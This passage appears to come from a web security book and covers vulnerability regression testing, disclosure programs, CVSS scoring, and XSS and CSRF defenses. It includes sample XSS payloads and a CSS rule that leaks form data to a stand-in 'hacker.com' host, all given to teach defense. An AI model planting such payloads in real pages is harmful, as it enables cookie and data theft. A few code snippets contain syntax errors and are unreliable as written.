it back to his organization for triaging. Once triaged, the solution is to switch the
request from an HTTP GET to an HTTP POST instead.

Not wanting to look bad in front of his friend Jed again, Steve writes a vulnerability
regression test:

const tester = require('tester');
const requester = require('requester');

/*
 * Checks the HTTP Options of the `changeSubscriptionTier` endpoint.
 *
 * Fails if more than one verb is accepted, or the verb is not equal
 * to 'POST'.
 * Fails on timeout or unsuccessful options request.
 */
const testTierChange = function() {
 requester.options('http://app.com/api/changeSubscriptionTier')
  .on('response', function(res) {
   if (!res.headers) {
    return tester.fail();
   } else {
     const verbs = res.headers['Allow'].split(',');
     if (verbs.length > 1) { return tester.fail(); }
     if (verbs[0] !== 'POST') { return tester.fail(); }
   }
  })
  .on('error', function(err) {
    console.error(err);
    return tester.fail();
  })
};
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This regression test looks similar to a functional test, and it is!

The difference between a functional test and a vulnerability test is not the framework
but the purpose for which the test was written. In this case, the resolution to the
CSRF bug was that the endpoint should only accept HTTP POST requests. The regres‐
sion test ensures that the endpoint changeSubscriptionTier only takes a single
HTTP verb, and that verb is equal to POST. If a change in the future introduces a non-
POST version of that endpoint, or the fix is overwritten, then this test will fail, indi‐
cating that the vulnerability has regressed.

Vulnerability regression tests are simple. Sometimes they are so simple, they can be
written prior to a vulnerability being introduced. This can be useful for code where
minor insignificant-looking changes could have a big impact. Ultimately, vulnerabil‐
ity regression testing is a simple and effective way of preventing vulnerabilities that
have already been closed from reentering your codebase.

The tests themselves should be run on commit or push hooks when possible (reject
the commit or push if the tests fail). Regularly scheduled runs (daily) are the second-
best choice for more complex version control environments.

Responsible Disclosure Programs
In addition to having the appropriate automation in place to catch vulnerabilities,
your organization should also have a well-defined and publicized way of disclosing
vulnerabilities in your application.

It’s possible your internal testing doesn’t cover all potential use cases of your custom‐
ers. Because of this, it’s very possible your customers will find vulnerabilities that
would otherwise go unreported.

Unfortunately, several large organizations have taken vulnerability reports from their
users and turned them into lawsuits and hush orders against the reporter. Because the
law doesn’t define the difference between white-hat research and black-hat exploita‐
tion well, it’s very possible that your application’s most tech-savvy users will not
report accidentally found vulnerabilities unless you explicitly define a path for
responsible disclosure.

A good, responsible disclosure program will include a list of ways that your users can
test your application’s security without incurring any legal risk. Beyond this, your dis‐
closure program should define a clear method of submission and a template for a
good submission.
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To reduce the risk of public exposure prior to the vulnerability being patched in your
application, you can include a clause in the responsible disclosure program that pre‐
vents a researcher from publicizing a recently found vulnerability. Often a responsible
disclosure program will list a period of time (weeks or months) where the reporter
cannot discuss the vulnerability externally while it is fixed.

A properly implemented vulnerability disclosure program will further reduce the risk
of exploitable vulnerabilities being left open, and improve public reception of your
development team’s commitment to security.

Bug Bounty Programs
Although responsible disclosure allows researchers and end users to report vulnera‐
bilities found in your web application, it does not offer incentives for actually testing
your application and finding vulnerabilities. Bug bounty programs have been
employed by software companies for the last decade, offering cash prizes in exchange
for properly submitted and documented vulnerability reports from end users, ethical
hackers, and security researchers.

In the beginning, starting a bug bounty program was a difficult process that required
extensive legal documentation, a triage team, and specially configured sprint or kan‐
ban processes for detecting duplicates and resolving vulnerabilities. Today, intermedi‐
ate companies exist to facilitate the development and growth of a bug bounty
program.

These companies, like HackerOne and BugCrowd, provide easily customizable legal
templates as well as a web interface for submission and triaging. HackerOne is one of
the most popular bug bounty platforms on the web and helps small companies set up
bug bounty programs and connect with security researchers and ethical hackers (see
Figure 20-2).

Making use of a bug bounty program in addition to issuing a formal, responsible dis‐
closure policy will allow freelance penetration testers (bug bounty hunters) and end
users to not only find vulnerabilities, but also be incentivized to report them.
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Figure 20-2. HackerOne, a bug bounty platform

Third-Party Penetration Testing
In addition to creating a responsible disclosure system, and incentivizing disclosure
via bug bounty programs, third-party penetration testing can give you deeper insight
into the security of your codebase that you could not otherwise get via your own
development team. Third-party penetration testers are similar to bug bounty hunters
as they are not directly affiliated with your organization, but provide insight into the
security of your web application.

Bug bounty hunters are (mostly, minus the top 1%) freelance penetration testers.
They work when they feel like it, and don’t have a particular agenda to stick to.

Penetration testing firms, on the other hand, can be assigned particular parts of an
application to test—and often through legal agreements can be safely provided with
company source code (for more accurate testing results). Ideally, contracted tests
should target high-risk and newly written areas of your application’s codebase prior
to release into production. Post-release tests are also valuable for high-risk areas of
the codebase, and for testing to ensure security mechanisms remain constant across
platforms.

Third-Party Penetration Testing | 223



Summary
There are many ways to find vulnerabilities in your web application’s codebase, each
with its own pros, cons, and position in the application’s life cycle. Ideally, several of
these techniques should be employed to ensure that your organization has the best
possible chance of catching and resolving serious security vulnerabilities before they
are found or exploited by a hacker outside of your organization.

By combining vulnerability discovery techniques like the ones described in this chap‐
ter, with proper automation and feedback into your secure software development life
cycle (SSDL), you will be able to confidently release production web applications
without significant fear of serious security holes being discovered in production.
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CHAPTER 21

Vulnerability Management

Part of any good secure software development life cycle (SSDL) process is a well-
defined pipeline for obtaining, triaging, and resolving vulnerabilities found in a web
application. We covered methods of discovering vulnerabilities in the last chapter,
and prior to that we covered methods of integrating SSDL into your architecture and
development phases to reduce the number of outstanding vulnerabilities found.

Vulnerabilities in a large application will be found in all of these phases, from the
architecture phase to production code. Vulnerabilities noted in the architecture phase
can be defensively coded against, and countermeasures can be developed before any
code is written. Vulnerabilities found any time after the architecture phase need to be
properly managed so they can eventually be fixed and any affected environment
patched with the fix.

This is where a vulnerability management pipeline comes into play.

Reproducing Vulnerabilities
After a vulnerability report, the first step to manage it should be reproducing the vul‐
nerability in a production-like environment. This has multiple benefits. First off, it
allows you to determine if the vulnerability is indeed a vulnerability. Sometimes user-
defined configuration errors can look like a vulnerability. For example, a user “acci‐
dentally” makes an image on your photo-hosting app “public” when they usually set
their photos to “private.”

To reproduce vulnerabilities efficiently, you need to establish a staging environment
that mimics your production environment as closely as possible. Because setting up a
staging environment can be difficult, the process should be fully automated.
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Prior to releasing a new feature, it should be available in a build of your application
that is only accessible via the internal network or secured via some type of encrypted
login.

Your staging environment, while mimicking a real production environment, does not
need real users or customers. However, it should contain mock users and mock
objects in order to both visually and logically represent the function of your applica‐
tion in production mode.

By reproducing each vulnerability that is reported, you can safely avoid wasting engi‐
neering hours on false positives. Additionally, vulnerabilities reported externally
through a paid program like a bug bounty program should be reproduced so that a
bounty is not paid for a false positive vulnerability.

Finally, reproducing vulnerabilities gives you deeper insight as to what could have
caused the vulnerability in your codebase and is an essential first step for resolving
the vulnerability. You should reproduce right away and log the results of your
reproduction.

Ranking Vulnerability Severity
After reproducing a vulnerability, you should have gained enough context into the
function of the exploit to understand the mechanism by which the payload is deliv‐
ered, and what type of risk (data, assets, etc.) your application is vulnerable to as a
result. With this context in mind, you should begin ranking vulnerabilities based on
severity.

To properly rank vulnerabilities, you need a well-defined and followed scoring system
that is robust enough to accurately compare two vulnerabilities, but flexible enough
to apply to uncommon forms of vulnerability as well. The most commonly used
method of scoring vulnerabilities is the Common Vulnerability Scoring System.

Common Vulnerability Scoring System
The Common Vulnerability Scoring System (CVSS) is a freely published system for
ranking vulnerabilities based on how easy they are to exploit and what type of data or
processes can be compromised as a result of a successful exploitation (see
Figure 21-1). CVSS is a fantastic starting point for organizations with a limited
budget or lack of dedicated security engineers.
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Figure 21-1. CVSS is a time-tested vulnerability scoring system freely available on the
web and well documented

CVSS is intended as a general-purpose vulnerability scoring system, and as a result it
is often criticized for not being able to accurately score all types of systems or rare,
unique, or chained vulnerabilities. That being said, as a general-purpose vulnerability
scoring system for common (OWASP top 10) vulnerabilities, this open vulnerability
scoring framework does a good job.

The CVSS system is on version 3.1 at the time of this writing, which breaks down vul‐
nerability scoring into a few important subsections:

• Base—scoring the vulnerability itself
• Temporal—scoring the severity of a vulnerability over time
• Environmental—scoring a vulnerability based on the environment it exists in

Most commonly, the CVSS base score is used, and the temporal and environmental
scores are used only in more advanced cases. Let’s look at each of these scores in a bit
more depth.
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CVSS: Base Scoring
The CVSS v3.1 base scoring algorithm requires eight inputs (see Figure 21-2):

• Attack Vector (AV)
• Attack Complexity (AC)
• Privileges Required (PR)
• User Interaction (UI)
• Scope (S)
• Confidentiality Impact (C)
• Integrity Impact (I)
• Availability Impact (A)

Figure 21-2. CSRF base score is the core component of the CVSS algorithm, which scores
a vulnerability based on severity

Each of these inputs accepts one of several options, leading to the generation of a base
score.

Attack Vector option
Attack Vector accepts Network, Adjacent, Local, and Physical options.

Each option describes the method by which an attacker can deliver the vulnera‐
bility payload. Network is the most severe, while physical is the least severe due
to increased difficulty of exploitation.

Attack Complexity option
Attack Complexity accepts two options, “low” or “high.” The Attack Complexity
input option refers to the difficulty of exploitation, which can be described as the
number of steps (recon, setup) required prior to delivering an exploit as well as
the number of variables outside of a hacker’s control.

An attack that could be repeated over and over again with no setup would be
“low,” while one that required a specific user to be logged in at a specific time and
on a specific page would be “high.”
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Privileges Required option
Privileges Required describes the level of authorization a hacker needs to pull off
the attack: “none” (guest user), “low,” and “high.” A “high” privilege attack could
only be initiated by an admin, while “low” might refer to a normal user, and
“none” would be a guest.

User Interaction option
The User Interaction option has only two potential inputs, “none” and “required.”
This option details if user interaction (clicking a link) is required for the attack to
be successful.

Scope option
Scope suggests the range of impact successful exploitation would have.
“Unchanged” scope refers to an attack that can only affect a local system, such as
an attack against a database affecting that database. “Changed” scope refers to
attacks that can spread outside of the functionality where the attack payload is
delivered, such as an attack against a database that can affect the operating sys‐
tem or file system as well.

Confidentiality option
Confidentiality takes one of three possible inputs: “none,” “low,” and “high.” Each
input suggests the type of data compromised based on its impact to the organiza‐
tion. The severity derived from confidentiality is likely based on your applica‐
tion’s business model, as some businesses (health care, for example) store much
more confidential data than others.

Integrity option
Integrity also takes one of three possible inputs: “none”, “low,” and “high.” The
“none” option refers to an attack that does not change application state, while
“low” changes some application state in limited scope, and “high” allows for the
changing of all or most application state. Application state is generally used when
referring to the data stored on a server, but could also be used in regard to local
client-side stores in a web application (local storage, session storage, indexedDB).

Availability option
Availability takes one of three possible options: “none,” “low,” and “high.” It refers
to the availability of the application to legitimate users. This option is important
for DoS attacks that interrupt or stop the application from being used by legiti‐
mate users, or code execution attacks that intercept intended functionality.

Entering each of these scores into the CVSS v3.1 algorithm will result in a number
between 0 and 10. This number is the severity score of the vulnerability, which can be
used for prioritizing resources and timelines for fixes. It can also help determine how
much risk your application is exposed to as a result of the vulnerability being
exploited.
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CVSS scores can be mapped to other vulnerability scoring frameworks that don’t use
numerical scoring quite easily:

• 0.1–4: Low severity
• 4.1–6.9: Medium severity
• 7–8.9: High severity
• 9+: Critical severity

By using the CVSS v3.1 algorithm, or one of the many web-based CVSS calculators,
you can begin scoring your found vulnerabilities in order to aid your organization in
prioritizing and resolving risk in an effective manner.

CVSS: Temporal Scoring
Temporal scoring in CVSS is simple, but due to complicated wording it can sound
daunting. Temporal scores show you how well equipped your organization is to deal
with a vulnerability, given the state of the vulnerability at the time of reporting (see
Figure 21-3).

Figure 21-3. The CSRF temporal score scores a vulnerability based on the maturity of
security mechanisms in your codebase

The temporal score has three categories:

Exploitability
Accepts a value from “unproven” to “high.” This metric attempts to determine if a
reported vulnerability is simply a theory or proof of concept (something that
would require iteration to turn into an actual usable vulnerability), or if the vul‐
nerability can be deployed and used as is (working vulnerability).

Remediation Level
The Remediation Level takes a value suggesting the level of mitigations available.
A reported vulnerability with a working, tested fix being delivered would be a
“O” for “Official Fix,” while a vulnerability with no known solution would be a
“U” for “Fix Unavailable.”

Report Confidence
The Report Confidence metric helps determine the quality of the vulnerability
report. A theoretical report with no reproduction code or understanding of how
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to begin the reproduction process would appear as an “Unknown” confidence,
while a well-written report with a reproduction and description would be a
“Confirmed” report confidence.

The temporal score follows the same scoring range (0–10) but instead of measuring
the vulnerability itself, it measures the mitigations in place and the quality and relia‐
bility of the vulnerability report.

CVSS: Environmental Scoring
CVSS environmental scores detail your particular environment (specific to your
application) in order to understand what data or operations would present the most
risk to your organization if a hacker were to exploit them (see Figure 21-4).

Figure 21-4. The CVSS environmental score measures a vulnerability based on the con‐
text (environment) in which it would be exploited

The environmental scoring algorithm takes all of the base score inputs, but scores
them in addition to three requirements that detail the importance of confidentiality,
integrity, and availability to your application.

The three new fields are as follows:

Confidentiality Requirement
The level of confidentiality your application requires. Freely available public
applications may score lower, while applications with strict contractual require‐
ments (health care, government) would score higher.

Integrity Requirement
The impact of application state being changed by a hacker in your organization.
An application that generates test sandboxes that are designed to be thrown away
would score lower than an application that stores crucial corporate tax records.

Availability Requirement
The impact on the application as a result of downtime. An application expected
to be live 24/7 would be impacted more than an application with no uptime
promises.
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The environmental score scores a vulnerability relative to your application’s require‐
ments, while the base score scores a vulnerability by itself in a vacuum.

Advanced Vulnerability Scoring
Using CVSS or another well-tested open scoring system as a starting point, you can
begin to develop and test your own scoring system. This allows more relevant infor‐
mation in regard to your particular business model and application architecture.

If your web application interfaces with physical technology, you
may want to develop your own scoring algorithms to include risks
that come with connected web applications.
For example, a security camera controlled by a web portal would
have additional implications if its systems were compromised
because it could leak sensitive photos or videos of its tenants—
potentially breaking the law.

Applications that connect with IoT devices, or are delivered by means other than the
AV score options, may want to begin working on their own scoring system right out
of the gate.

Any scoring system should be evaluated over time, based on its ability to prevent
damage to your application, its subsystems, and your organization.

Beyond Triage and Scoring
After a vulnerability has been properly reproduced, scored, and triaged, it needs to be
fixed. Scoring can be used as a metric for prioritizing fixes, but it cannot be the only
metric. Other business-centric metrics must be considered as well, such as customer
contracts and business relationships.

Fixing a vulnerability correctly is just as important as finding and triaging it correctly.
Whenever possible, vulnerabilities should be resolved with permanent, application-
wide solutions. If a vulnerability cannot (yet) be resolved in that way, a temporary fix
should be added, but a new bug should be opened detailing the still-vulnerable sur‐
face area of your application.

Never ship a partial fix and close a bug (in whatever bug tracking software you use)
unless another bug detailing the remaining fixes with an appropriate score is opened
first. Closing a bug early could result in hours of lost reproduction and technical
understanding. Plus, not all vulnerabilities will be reported. And vulnerabilities can
grow in risk to your organization as the features your application exposes increase
(increased surface area).
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Finally, every closed security bug should have a regression test shipped with it.
Regression tests grow increasingly more valuable over time, as opportunities for
regression increase exponentially with the size and feature set of a codebase.

Summary
Vulnerability management is a combination of very important but particular tasks.

First, a vulnerability needs to be reproduced and documented by an engineer. This
allows an organization to be sure the report is valid, and also to understand if there is
deeper impact than originally reported. This process should also give insight into the
amount of effort required for resolving the vulnerability.

Next, a vulnerability should be scored based on some type of scoring system that
allows your organization to determine the risk that the vulnerability exposes your
application to. The scoring system used for this does not matter as much as its rele‐
vance to your business model and its ability to accurately predict the damage that
could be done to your application as a result of exploitation.

After properly reproducing and scoring a vulnerability (the “triage” step), a vulnera‐
bility must be resolved. Ideally, a vulnerability should be resolved with a proper fix
that spans the entire application surface area and is well tested to avoid edge cases.
When this is not possible, partial fixes should be deployed and additional bugs should
be filed detailing still-vulnerable surface area.

Finally, as each bug is resolved, a proper security regression test should be written so
that the bug cannot be accidentally reopened or reimplemented at a later date.

Successfully following these steps will dramatically reduce the risk your organization
is exposed to as vulnerabilities are found, and aid your organization in rapidly and
efficiently resolving vulnerabilities based on the potential damage they could have in
your organization.
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CHAPTER 22

Defending Against XSS Attacks

In Part II, we discussed in depth XSS attacks that took advantage of the browser’s
ability to execute JavaScript code on user devices. XSS vulnerabilities are widespread
and capable of causing a significant amount of damage, as script execution vulnera‐
bilities have a wide breadth of potential damage.

Fortunately, although XSS appears often in the web, it is quite easy to mitigate or pre‐
vent entirely via secure coding best practices and XSS-specific mitigation techniques.
This chapter is all about protecting your codebase from XSS.

Anti-XSS Coding Best Practices
There is one major rule you can implement in your development team in order to
dramatically mitigate the odds of running into XSS vulnerabilities: “don’t allow any
user-supplied data to be passed into the DOM—except as strings.”

Such a rule is not applicable to all applications, as many applications have features
that incorporate users to DOM data transfer. In this case, we can make this rule more
specific: “never allow any unsanitized user-supplied data to be passed into the DOM.”

Allowing user-supplied data to populate the DOM should be a fallback, last-case
option rather than a first option. Such functionality will accidentally lead to XSS vul‐
nerabilities, so when other options are available, they should be chosen first.

When user-supplied data must be passed into the DOM, it should be done as a string,
if possible. This means, in any case where HTML/DOM is NOT required and user-
supplied data is being passed to the DOM for display as text, we must ensure that the
user-supplied data is interpreted as text and not DOM (see Figure 22-1).
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Figure 22-1. Most XSS (but not all) occurs as a result of user-supplied text being improp‐
erly injected into the DOM

We can perform these checks a number of ways on both the client and the server.

First off, string detection is quite easy in JavaScript:

const isString = function(x) {
  if (typeof x === 'string' || x instanceof String) {
    return true;
  }
  return false;
};

Unfortunately, this check will fail when checking numbers—an edge case that can be
annoying to deal with because numbers are also safe for injection into the DOM.

We can categorize strings and numbers into “string-like” objects. We can evaluate a
“string-like” object using a relatively unknown side effect of JSON.parse():

const isStringLike = function(x) {
  try {
     return JSON.stringify(JSON.parse(x)) === x;
  } catch (e) {
    console.log('not string-like');
  }
};

JSON.parse() is a function built into JavaScript that attempts to convert text to a
JSON object. Numbers and strings will pass this check, but complex objects such as
functions will fail as they do not fit a format compatible with JSON.

Finally, we must ensure that even when we have a string object or string-like object,
the DOM interprets it as string/string-like. This is because string objects, while not
DOM themselves, can still be interpreted as DOM or converted into DOM, which we
want to avoid.
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Generally, we inject user data into the DOM using innerText or innerHTML. When
HTML tags are not needed, innerText is much safer because it attempts to sanitize
anything that looks like an HTML tag by representing it as a string.

Less safe:

const userString = '<strong>hello, world!</strong>;
const div = document.querySelector('#userComment');
div.innerHTML = userString; // tags interpreted as DOM

More safe:

const userString = '<strong>hello, world!</strong>;
const div = document.querySelector('#userComment');
div.innerText = userString; // tags interpreted as strings

Using innerText rather than innerHTML whenever appending true strings or string-
like objects to the DOM is a best practice. This is because innerText performs its
own sanitization in order to view HTML tags as strings, whereas innerHTML does not
perform such sanitization and will interpret HTML tags as HTML tags when loaded
into the DOM. The sanitized innerText is not failsafe, as each browser has its own
variations on the exact implementation, and with a quick internet search you can find
a variety of current and historical ways to bypass the sanitization.

Sanitizing User Input
Sometimes you will not be able to rely on a useful tool like innerText to aid you in
sanitizing user input. This is particularly common when you need to allow certain
HTML tags, but not others. For example, you may want to allow <strong></strong>
and <i></i> but not <script></script>. In these cases, you want to make sure you
extensively sanitize the user-submitted data prior to injecting it into the DOM.

When injecting strings into the DOM, you need to make sure no malicious tags are
present. You also want to make sure no attempts to escape the sanitizer function are
present.

For example, let’s assume your sanitizer blocks single and double quotes as well as
script tags. You could still run into this issue:

<a href="javascript:alert(document.cookie)">click me</a>

The DOM is a huge and complex spec, so cases like this where scripts can be executed
are more common than you would expect. In this case, a particular URL scheme
(which you should always avoid), known as the JavaScript pseduo-scheme, allows for
string execution without any script tags or quotes being required.

Using this method with other DOM methods, you can even bypass the filtration on
single and double quotes:
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<a href="javascript:alert(String.fromCharCode(88,83,83))">click me</a>

The preceding would alert “XSS” as if it were a literal string, as the string has been
derived from the String.fromCharCode() API.

As you can see, sanitization is actually quite hard. In fact, complete sanitization is
extremely hard. Furthermore, DOM XSS is even harder to mitigate due to its reliance
on methods outside of your control (unless you extensively polyfill and freeze objects
prior to rendering).

A good rule of thumb for DOM APIs to be aware of in your sanitization is anything
that converts text to DOM or text to script is a potential XSS attack vector.

Stay away from the following APIs when possible:

• element.innerHTM`L / `element.outerHTML

• Blob
• SVG
• document.write / document.writeln
• DOMParser.parseFromString

• document.implementation

DOMParser Sink
The preceding APIs allow developers to easily generate DOM or script from text, and
as such are easy sinks for XSS execution. Let’s look at DOMParser for a second:

const parser = new DOMParser();
const html = parser.parseFromString('<script>alert("hi");</script>`);

This API loads the contents of the string in parseFromString into DOM nodes
reflecting the structure of the input string. This could be used for filling a page with
structured DOM from a server, which may be beneficial when you want to turn a
complex DOM string into properly organized DOM nodes.

However, manually creating each node with document.createElement() and organ‐
izing them using document.appendChild(child) offers significantly less risk. You
now are controlling the structure and tag names of the DOM while the payload only
controls the content.

SVG Sink
APIs like Blob and SVG carry significant risk as sinks because they store arbitrary
data and yet still are capable of code execution:
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript">console.log('test');</script>
</svg>

Scalable Vector Graphics (SVG) are wonderful for displaying images consistently
across a wide number of devices, but due to their reliance on the XML spec that
allows script execution, they are much riskier than other types of images.

We saw in Part II that we could use the image tag <img> to launch CSRF attacks since
the <img> tag supports a href. SVGs can launch any type of JavaScript onload, making
them significantly more dangerous.

Blob Sink
Blob also carries the same risk:

// create blob with script reference
const blob = new Blob([script], { type: 'text/javascript' });
const url = URL.createObjectURL(blob);

// inject script into page for execution
const script = document.createElement('script');
script.src = url;

// load the script into the page
document.body.appendChild(script);

Furthermore, blobs can store data in many formats; base64 as a blob is simply a con‐
tainer for arbitrary data. As a result, it is best to leave blobs out of your code if possi‐
ble, especially if any of the blob instantiation process involves user data.

Sanitizing Hyperlinks
Let’s assume you want to allow the creation of JavaScript buttons that link to a page
sourced from user input:

<button onclick="goToLink()">click me</button>

const userLink = "<script>alert('hi')</script>";

const goToLink = function() {
  window.location.href = `https://mywebsite.com/${userLink}`;

  // goes to: https://my-website.com/<script>alert('hi')</script>
};

We have already discussed the case where a JavaScript pseudoscheme could lead to
script execution, but we also want to make sure that any type of HTML is sanitized.
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In this case, we can actually make use of some of the very robust filtering modern
browsers have for <a></a> links, even though our script is controlling the navigation
manually:

const userLink = "<script>alert('hi')</script>";

const goToLink = function() {
  const dummy = document.createElement('a');
  dummy.href = userLink;
  window.location.href = `https://mywebsite.com/${dummy.a}`;

  // goes to: https://my-website.com/%3Cstrong%3Etest%3C/strong
};

goToLink();

As you can see, the sanitization of script tags in <a></a> is built into major browsers
as a defense against these sorts of links. A script on the linked-to page that inter‐
preted the window.location.href could have been susceptible to goToLink() ver‐
sion #1. By creating a dummy <a></a> we are able to take advantage of the very well-
tested browser sanitization once again, which results in the tags being sanitized and
filtered.

This method brings even more benefits, as it sanitizes the scheme to only allow cer‐
tain schemes that are legal for <a></a> tags and prevents invalid or improper URLs
from being navigated to.

We can take advantage of the filtering mechanism used on the tags for more specific
use cases:

encodeURIComponent('<strong>test</strong'); // %3Cstrong%3Etest%3C%2Fstrong%3E

It is theoretically possible to escape these encoding functions, but they are very well
tested and likely significantly safer than a home-brewed solution.

Note that encodeURIComponent() cannot be used for an entire URL string as it will
no longer conform to the HTTP spec because scheme as the origin (scheme + :// +
hostname + : + port) cannot be interpreted by browsers when encoded (it becomes
a different origin).

HTML Entity Encoding
Another preventative measure that can be applied is to perform HTML entity escap‐
ing on all HTML tags present in user-supplied data. Entity encoding allows you to
specify characters to be displayed in the browser, but in a way that they cannot be
interpreted as JavaScript.

The “big five” for entity encoding are shown in Table 22-1.
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Table 22-1. Entity encoding’s big five characters

Character Entity encoded
& & + amp;

< & + lt;

> & + gt;

" & + #034;

' & + #039;

In doing these conversions, you don’t risk changing the display logic in the browser (&
+ amp; will display as “&”), but you dramatically reduce the risk of script execution
outside of complicated and rare scenarios involving entity encoding bypass.

Entity encoding will NOT protect any content injected inside of a <script></
script> tag, CSS, or a URL. It will only protect against content injected into a
<div></div> or <div></div>-like DOM node. This is because it is possible to create a
string of HTML entity encoded strings in such an order that part of the string is still
valid JavaScript.

CSS
Although CSS is typically considered a “display-only” technology, the robustness of
the CSS spec makes it a target for highly talented hackers as an alternative method of
delivering payloads for XSS and other types of attacks.

We have extensively discussed use cases where a user would like to store data in a
server that can then be requested by the client for other users to read. The basic
example of this functionality is a comment form on a video or blog post.

Similarly, some sites offer this type of flow with CSS styles. A user uploads a style‐
sheet they created to customize their user profile. When other users visit their profile,
they download the customized stylesheet to see the personalized profile.

While CSS as a language interpreted by the browser is not as robust as a true pro‐
gramming language like JavaScript, it is still possible for CSS to be used as an attack
vector in order to steal data from a web page.

Remember back when we used <image></image> tags to initiate an HTTP GET
request against a malicious web server? Any time an image from another origin is
loaded into the page, a GET request is issued—be it from HTML, JS, or CSS.

In CSS we can use the background:url attribute to load an image from a provided
domain. Because this is an HTTP GET, it can also include query params.
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CSS also allows for selective styling based on the condition of a form. This means we
can change the background of an element in the DOM based on the state of a form
field:

#income[value=">100k"] {
  background:url("https://www.hacker.com/incomes?amount=gte100k");
}

As you can see, when the income button is set to >100k, the CSS background changes,
initiating a GET request and leaking the form data to another website.

CSS is much more difficult to sanitize than JavaScript, so the best way to prevent such
attacks is to disallow the uploading of stylesheets or specifically generate stylesheets
on your own, only allowing a user to modify fields you permit that do not initiate
GET requests.

In conclusion, CSS attacks can be avoided by:

[easy]
Disallowing user-uploaded CSS

[medium]
Allowing only specific fields to be modified by the user and generating the
custom stylesheet yourself on the server using these fields

[hard]
Sanitizing any HTTP-initiating CSS attributes (background:url)

Content Security Policy for XSS Prevention
The CSP is a security configuration tool that is supported by all major browsers. It
provides settings that a developer can take advantage of to either relax or harden
security rules regarding what type of code can run inside your application.

CSP protections come in several forms, including what external scripts can be loaded,
where they can be loaded, and what DOM APIs are allowed to execute the script.

Let’s evaluate some CSP configurations that aid in mitigating XSS risk.

Script Source
The big risk that XSS brings to the table is the execution of a script that is not your
own. It is safe to assume that the script you write for your application is written with
your user’s best intentions in mind; as such your script should be considered less
likely to be malicious.
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On the other hand, any time your application executes a script that was not written
by you but by another user, you cannot assume the script was written with the same
ethos in mind.

One way to mitigate the risk of scripts you did not write executing inside of your
application is to reduce the number of allowed script sources.

Imagine MegaBank is working on its support portal: support.mega-bank.com.

It is very possible that MegaBank’s support portal would consume scripts from the
entire MegaBank organization. You could call out specific URIs where you wish to
consume scripts from, such as mega-bank.com and api.mega-bank.com.

CSP allows you to specifically whitelist URLs from which dynamic scripts can be
loaded. This is known as script-src in your CSP. A simple script-src looks like
this: Content-Security-Policy: script-src "self" https://api.mega-

bank.com.

With such a CSP configuration, attempting to load a script from https://api2.mega-
bank.com would not be successful, and the browser would throw a CSP violation
error. This is very beneficial because it means scripts from unknown sources, like
https://www.hacker.com, would not be able to load and execute on your site.

Enforcement of CSP is done via the browser as well, so it is quite difficult to bypass,
as browser test suites are very comprehensive. CSP also supports wildcard host
matching, but be aware that any type of wildcard whitelist carries inherent risk.

You may think it would be wise to whitelist https://*.mega-bank.com, as you know
that no malicious scripts run on any MegaBank domain at this time. However, in the
future if you choose to reuse the MegaBank domain for a project that does allow user-
uploaded scripts, such a widespread net could be harmful to the security of your
application. For example, imagine https://hosting.mega-bank.com that allowed users to
upload their own documents.

The "self" in the CSP declaration simply refers to the current URL from which the
policy is loaded and the protected document is being served. As such the CSP script
source is actually used for defining multiple URLs: safe URLs to load scripts from,
and the current URL.

Unsafe Eval and Unsafe Inline
CSP script-src is used for determining what URLs can load dynamic content into
your page. But this does not protect against scripts loaded from your own trusted
servers. Should an attacker manage to get a script stored in your own servers (or
reflected by other means), they could still execute the script in your application as an
XSS attack.
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CSP doesn’t fully protect against this type of XSS, but does provide mitigation con‐
trols. These controls allow you to regulate common XSS sinks globally across the
user’s browser.

By default, inline script execution is disabled when CSP is enabled. This can be re-
enabled by adding unsafe-inline to your script-src definition.

Similarly, eval() and similar methods that provide string -> code interpretation
are disabled by default when CSP is enabled. This can be disabled with the flag
unsafe-eval inside of your script-src definition.

If you are relying on eval or an eval-like function, it is often wise to try to rewrite
that function in a way that does not cause it to be interpreted as a string. For example:

const startCountDownTimer = function(minutes, message) {
  setTimeout(`window.alert(${message});`, minutes * 60 * 1000);
};

is written more safely as:

const startCountDownTimer = function(minutes, message) {
 setTimeout(function() {
   alert(message);
 }, minutes * 60 * 1000);
};

While both are valid uses of setTimeout(), one is much more prone to XSS script
execution as the complexity of the function grows with the addition of new features.

Any function that is interpreted as a string risks potential escape, leading to code exe‐
cution. More specific functions with highly specific parameters reduce the risk of
unintended script execution.

Implementing a CSP
CSP is easy to implement as it is simply a string configuration modifier that is read by
the browser and translated into security rules. Major browsers support many ways of
implementing your CSP, but the most common are:

• Have your server send a Content-Security-Policy header with each request.
The data in the header should be the security policy itself.

• Embed a <meta> tag in your HTML markup. The meta tag should look like:
<meta http-equiv="Content-Security-Policy" content="script-src

https://www.mega-bank.com;">

It is wise to enact CSP as a first step in XSS mitigation if you already know what type
of programming constructs and APIs your application will rely on. This means that if
you know where you will consume code and how you will consume it, make sure to
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write the correct CSP strings up and utilize them right when you start development.
CSP can be easily changed at a later date.

Summary
The most common forms of XSS are easy to defend against. The difficulty in protect‐
ing your website against XSS usually comes when you have a feature requirement to
display user-submitted information as DOM rather than as text.

XSS can be mitigated in a number of locations in an application stack, from the net‐
work level to the database level to the client. That being said, the client is almost
always the ideal mitigation point, as an XSS requires client-side execution to, well, be
an XSS attack.

Anti-XSS coding best practices should always be used. Applications should use a cen‐
tralized function for appending to the DOM when needed so that sanitization is rou‐
tine throughout the entire application.

Common sinks for DOM XSS should be considered, and when not required, sani‐
tized or blocked.

Finally, a CSP policy is a great first measure for protecting your application against
common XSS, but it will not protect you against DOM XSS. In order to consider your
application properly secured against XSS risk, all or many of the preceding steps
should be implemented.
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CHAPTER 23

Defending Against CSRF Attacks

In Part II we built Cross-Site Request Forgery (CSRF) attacks that took advantage of a
user’s authenticated session in order to make requests on their behalf. We built CSRF
attacks with <a></a> links, via <img></img> tags, and even via HTTP POST using
web forms. We saw how effective and dangerous CSRF-style attacks are against an
application, because they function at both an elevated privilege level and often are
undetectable by the authenticated user.

In this chapter, we will learn how to defend our codebase against such attacks, and
mitigate the probability that our users will be put at risk for any type of attack that
targets their authenticated session.

Header Verification
Remember the CSRF attacks we built using <a></a> links? In that discussion, the
links were distributed via email or another website entirely separate from the target.

Because the origin of many CSRF requests is separate from your web application, we
can mitigate the risk of CSRF attacks by checking the origin of the request. In the
world of HTTP, there are two headers we are interested in when checking the origin
of a request: referer and origin. These headers are important because they cannot
be modified programmatically with JavaScript in all major browsers. As such, a prop‐
